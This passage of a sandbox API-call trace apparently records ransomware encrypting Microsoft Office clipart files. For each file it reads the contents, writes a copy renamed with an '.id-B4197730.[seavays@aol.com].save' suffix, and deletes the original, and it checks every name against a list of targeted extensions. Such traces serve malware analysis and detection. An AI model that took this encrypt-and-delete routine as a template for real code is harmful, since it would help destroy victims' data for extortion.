lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2b64, lpOverlapped=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2b70, lpOverlapped=0x0) returned 1 [0173.017] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.017] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.017] SetEndOfFile (hFile=0x520) returned 1 [0173.017] CloseHandle (hObject=0x520) returned 1 [0173.017] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.017] SetEndOfFile (hFile=0x528) returned 1 [0173.020] CloseHandle (hObject=0x528) returned 1 [0173.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0173.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.022] lstrlenW (lpString=".doc") returned 4 [0173.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.022] lstrlenW (lpString=".docx") returned 5 [0173.022] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.022] lstrlenW (lpString=".pdf") returned 4 [0173.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.022] lstrlenW (lpString=".xls") returned 4 [0173.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.022] lstrlenW (lpString=".xlsx") returned 5 [0173.022] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.022] lstrlenW (lpString=".ppt") returned 4 [0173.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.022] lstrlenW (lpString=".zip") returned 4 [0173.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.022] lstrlenW (lpString=".rar") returned 4 [0173.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.022] lstrlenW (lpString=".bz2") returned 4 [0173.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.022] lstrlenW (lpString=".7z") returned 3 [0173.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.022] lstrlenW (lpString=".dbf") returned 4 [0173.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.023] lstrlenW (lpString=".1cd") returned 4 [0173.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.023] lstrlenW (lpString=".jpg") returned 4 [0173.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.023] lstrlenW (lpString=".doc") returned 4 [0173.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.023] lstrlenW (lpString=".docx") returned 5 [0173.023] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.023] lstrlenW (lpString=".pdf") returned 4 [0173.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.023] lstrlenW (lpString=".xls") returned 4 [0173.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.023] lstrlenW (lpString=".xlsx") returned 5 [0173.023] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.023] lstrlenW (lpString=".ppt") returned 4 [0173.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.023] lstrlenW (lpString=".zip") returned 4 [0173.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.023] lstrlenW (lpString=".rar") returned 4 [0173.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.023] lstrlenW (lpString=".bz2") returned 4 [0173.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.023] lstrlenW (lpString=".7z") returned 3 [0173.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.023] lstrlenW (lpString=".dbf") returned 4 [0173.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.024] lstrlenW (lpString=".1cd") returned 4 [0173.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0173.024] lstrlenW (lpString=".jpg") returned 4 [0173.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.024] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.024] lstrlenW (lpString="J0107282.WMF") returned 12 [0173.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.025] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=14132) returned 1 [0173.025] CloseHandle (hObject=0x528) returned 1 [0173.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220 [0173.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.025] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.025] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.026] GetLastError () returned 0x0 [0173.026] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3734, lpOverlapped=0x0) returned 1 [0173.181] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3740, lpOverlapped=0x0) returned 1 [0173.183] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.183] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.183] SetEndOfFile (hFile=0x520) returned 1 [0173.408] CloseHandle (hObject=0x520) returned 1 [0173.409] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.409] SetEndOfFile (hFile=0x528) returned 1 [0173.447] CloseHandle (hObject=0x528) returned 1 [0173.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.450] lstrlenW (lpString=".doc") returned 4 [0173.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.450] lstrlenW (lpString=".docx") returned 5 [0173.450] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.450] lstrlenW (lpString=".pdf") returned 4 [0173.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.450] lstrlenW (lpString=".xls") returned 4 [0173.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.450] lstrlenW (lpString=".xlsx") returned 5 [0173.450] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.450] lstrlenW (lpString=".ppt") returned 4 [0173.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.450] lstrlenW (lpString=".zip") returned 4 [0173.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.450] lstrlenW (lpString=".rar") returned 4 [0173.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.451] lstrlenW (lpString=".bz2") returned 4 [0173.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.451] lstrlenW (lpString=".7z") returned 3 [0173.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.451] lstrlenW (lpString=".dbf") returned 4 [0173.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.451] lstrlenW (lpString=".1cd") returned 4 [0173.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.451] lstrlenW (lpString=".jpg") returned 4 [0173.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.451] lstrlenW (lpString=".doc") returned 4 [0173.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.451] lstrlenW (lpString=".docx") returned 5 [0173.451] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.451] lstrlenW (lpString=".pdf") returned 4 [0173.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.451] lstrlenW (lpString=".xls") returned 4 [0173.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.451] lstrlenW (lpString=".xlsx") returned 5 [0173.451] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.451] lstrlenW (lpString=".ppt") returned 4 [0173.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.451] lstrlenW (lpString=".zip") returned 4 [0173.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.451] lstrlenW (lpString=".rar") returned 4 [0173.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.452] lstrlenW (lpString=".bz2") returned 4 [0173.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.452] lstrlenW (lpString=".7z") returned 3 [0173.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.452] lstrlenW (lpString=".dbf") returned 4 [0173.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.452] lstrlenW (lpString=".1cd") returned 4 [0173.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0173.452] lstrlenW (lpString=".jpg") returned 4 [0173.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.452] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.452] lstrlenW (lpString="J0107314.WMF") returned 12 [0173.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.456] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=10852) returned 1 [0173.456] CloseHandle (hObject=0x528) returned 1 [0173.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220 [0173.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.456] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.457] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.460] GetLastError () returned 0x0 [0173.460] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2a64, lpOverlapped=0x0) returned 1 [0173.463] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2a70, lpOverlapped=0x0) returned 1 [0173.464] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.464] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.464] SetEndOfFile (hFile=0x520) returned 1 [0173.464] CloseHandle (hObject=0x520) returned 1 [0173.464] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.465] SetEndOfFile (hFile=0x528) returned 1 [0173.468] CloseHandle (hObject=0x528) returned 1 [0173.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0173.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.469] lstrlenW (lpString=".doc") returned 4 [0173.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.469] lstrlenW (lpString=".docx") returned 5 [0173.469] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0173.469] lstrlenW (lpString=".pdf") returned 4 [0173.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.469] lstrlenW (lpString=".xls") returned 4 [0173.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.469] lstrlenW (lpString=".xlsx") returned 5 [0173.469] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0173.469] lstrlenW (lpString=".ppt") returned 4 [0173.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.469] lstrlenW (lpString=".zip") returned 4 [0173.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.469] lstrlenW (lpString=".rar") returned 4 [0173.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.469] lstrlenW (lpString=".bz2") returned 4 [0173.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.469] lstrlenW (lpString=".7z") returned 3 [0173.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.470] lstrlenW (lpString=".dbf") returned 4 [0173.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.470] lstrlenW (lpString=".1cd") returned 4 [0173.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.470] lstrlenW (lpString=".jpg") returned 4 [0173.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.470] lstrlenW (lpString=".doc") returned 4 [0173.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.470] lstrlenW (lpString=".docx") returned 5 [0173.470] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0173.470] lstrlenW (lpString=".pdf") returned 4 [0173.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.470] lstrlenW (lpString=".xls") returned 4 [0173.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.470] lstrlenW (lpString=".xlsx") returned 5 [0173.470] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0173.470] lstrlenW (lpString=".ppt") returned 4 [0173.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.470] lstrlenW (lpString=".zip") returned 4 [0173.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.470] lstrlenW (lpString=".rar") returned 4 [0173.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.470] lstrlenW (lpString=".bz2") returned 4 [0173.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.471] lstrlenW (lpString=".7z") returned 3 [0173.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.471] lstrlenW (lpString=".dbf") returned 4 [0173.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.471] lstrlenW (lpString=".1cd") returned 4 [0173.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0173.471] lstrlenW (lpString=".jpg") returned 4 [0173.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.471] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.471] lstrlenW (lpString="J0107316.WMF") returned 12 [0173.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.472] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=11288) returned 1 [0173.472] CloseHandle (hObject=0x528) returned 1 [0173.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220 [0173.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.472] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.473] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.474] GetLastError () returned 0x0 [0173.474] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2c18, lpOverlapped=0x0) returned 1 [0173.475] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2c20, lpOverlapped=0x0) returned 1 [0173.477] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, 